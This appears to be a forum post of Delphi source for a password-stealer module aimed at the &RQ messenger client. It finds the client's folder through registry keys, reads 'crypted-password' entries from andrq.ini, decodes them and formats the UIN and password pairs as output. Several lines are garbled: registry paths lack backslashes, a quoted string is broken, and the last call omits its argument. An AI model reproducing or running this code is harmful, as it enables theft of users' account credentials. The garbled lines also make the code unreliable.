Код:
unit AndRQDecrypt;
interface
uses Windows;
function GetRQPass:string;
implementation
function DecryptRQPass(const Value: PChar): String; //Расшифровывает пароли
var
m_nCode, pwd_len, i: Cardinal;
m_szPwd: array[0..8] of Byte;
m_szBuf: array[0..127] of Byte;
begin
m_nCode := 0;
FillChar(m_szPwd, SizeOf(m_szPwd), 0);
FillChar(m_szBuf, SizeOf(m_szPwd), 0);
pwd_len := Length(Value);
Move(Value^, m_szBuf, pwd_len);
i := 0;
while i <= pwd_len do begin
if (PByte(LongWord(Value) + i)^ >= 40) and (PByte(LongWord(Value) + i)^ <= 55) and (PByte(LongWord(Value) + i + 1)^ >= 40) and (PByte(LongWord(Value) + i + 1)^ <= 55) then begin
m_szPwd[m_nCode] := (m_szBuf[i + 1] - 40) * 16 + (m_szBuf[i] - 40);
Inc(m_nCode);
Inc(i, 2);
end;
Inc(i);
end;
m_szPwd[8] := 0;
Result := PChar(@m_szPwd);
end;
function HandleRQModule(value: String):string;
var
i: Integer;
begin
Value := DecryptRQPass(PChar(Value));
if value<>'' then
for i:=length(value) downto 1 do
result:=result+value[i]
else result:='нет';
end;
function ReadRQIniFile(FileName:string; uin:string):string; //ищет зашифрованные пассы
var
F:OFSTRUCT;
fText: TextFile;
line:string;
begin
if OpenFile(PChar(FileName+'\andrq.ini'),F,OF_EXIST)=HFILE_ERROR then exit;
assignfile(fText,FileName+'\andrq.ini');
reset(fText);
while not(eof(fText)) do
begin
readln(fText,line);
if pos('crypted-password',line)<>0 then
begin
result:=result+'UIN('+uin+'):Pass('+HandleRQModule(copy(line,length('crypted-password')+2,length(line)))+'); ';
closefile(fText);
break;
end;
end;
end;
function RemoveLastSlash(target:string):string;
var
i:integer;
begin
for i:=length(target) downto 1 do
if target[i]='\' then
begin
result:=copy(target,1,i-1);
break;
end;
end;
function GetKeyNames:string;
var
hkHandle:HKEY;
Len: DWORD;
I: integer;
S: array [0..MAX_PATH] of char;
err:longint;
begin
result:='';
i:=0;
if RegOpenKeyEx(HKEY_CURRENT_USER,'SoftwareMicrosoftWindowsShellNoRoamMUICache',0,KEY_ALL_ACCESS,hkHandle)=ERROR_SUCCESS then
repeat
len:=MAX_PATH;
Err:=RegEnumValue(hkHandle,i,s,len,nil,nil,nil,nil);
if pos('&RQ.exe',s)<>0 then
begin
result:=s;
break;
end;
inc(i);
until err<>error_success;
RegCloseKey(hkHandle);
end;
function GetRQPass:string; //Главная функция, ищет файл с настройками..
var
hkHandle: HKEY;
BufSize:integer;
d:PBYTE;
path:string;
FindFileData: WIN32_FIND_DATA;
hFind: Thandle;
begin
path:=RemoveLastSlash(GetKeyNames);
if path='' then
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SOFTWAREMicrosoftWindowsCurrentVersionUninstall&RQ',0,KEY_READ,hkHandle)=ERROR_SUCCESS then
begin
BufSize:=MAX_PATH;
GetMem(d,BufSize);
RegQueryValueEx (hkHandle, 'UninstallString', nil, nil, d, @BufSize);
RegCloseKey(hkHandle);
path:=RemoveLastSlash(pchar(d));
end
else exit;
hFind:=FindFirstFile(PChar(path+'*.*'), FindFileData);
if hFind=INVALID_HANDLE_VALUE then exit;
repeat
result:=ReadRQIniFile(path+'+FindFileData.cFileName,FindFileData.cFileName);
until FindNextFile(hFind,FindFileData)=false;
end;
end.
Код:
Memo1.Lines.Add(DecryptRQPass);